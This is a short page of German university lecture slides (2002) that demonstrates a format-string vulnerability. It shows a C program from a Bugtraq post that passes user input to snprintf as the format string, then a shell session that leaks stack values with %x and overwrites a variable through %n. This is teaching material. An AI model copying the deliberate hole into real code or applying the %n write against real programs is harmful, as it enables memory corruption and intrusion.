Kleine Demonstration

 [Vorheriges Kapitel]  [Vorherige Seite]  [Inhaltsverzeichnis]

fmtme.c
/* aus: [BUGTRAQ, Tim Newsham, September 9, 2000] */
#include <stdio.h>
int main(int argc, char **argv)
{
    char buf[100];
    int x;
    if(argc != 2)
         exit(1);
    x = 1;
    snprintf(buf, sizeof buf, argv[1]);
    buf[sizeof buf - 1] = 0;
    printf("buffer (%d): %s\n", strlen(buf), buf);
    printf("x is %d/%#x (@ %p)\n", x, x, &x);
    return 0;
}

*Eine vom Benutzer übergebene Zeichenkette wird bei einer Funktion der printf-Familie als Format übergeben.
 
*Das wäre relativ harmlos, wenn es nicht das %n-Format gäbe.
 
taurus$ fmtme "AAAA %x %x %x %x %x %x %x"      
buffer (36): AAAA 5 21dc0 ff29b21c 0 0 1 41414141
x is 1/0x1 (@ ffbef7e4)
taurus$ perl -e 'exec("./fmtme",
> "\xff\xbe\xf7\xd4 %x %x %x %x %x %x %n")'
buffer (28): ÿ¾÷Ô 5 21dc0 ff29b21c 0 0 1 
x is 28/0x1c (@ ffbef7d4)
taurus$ 

 [Vorheriges Kapitel]  [Vorherige Seite]  [Inhaltsverzeichnis]
Copyright © 2002 Andreas Borchert/Christian Ehrhardt, in HTML konvertiert am 18.06.2002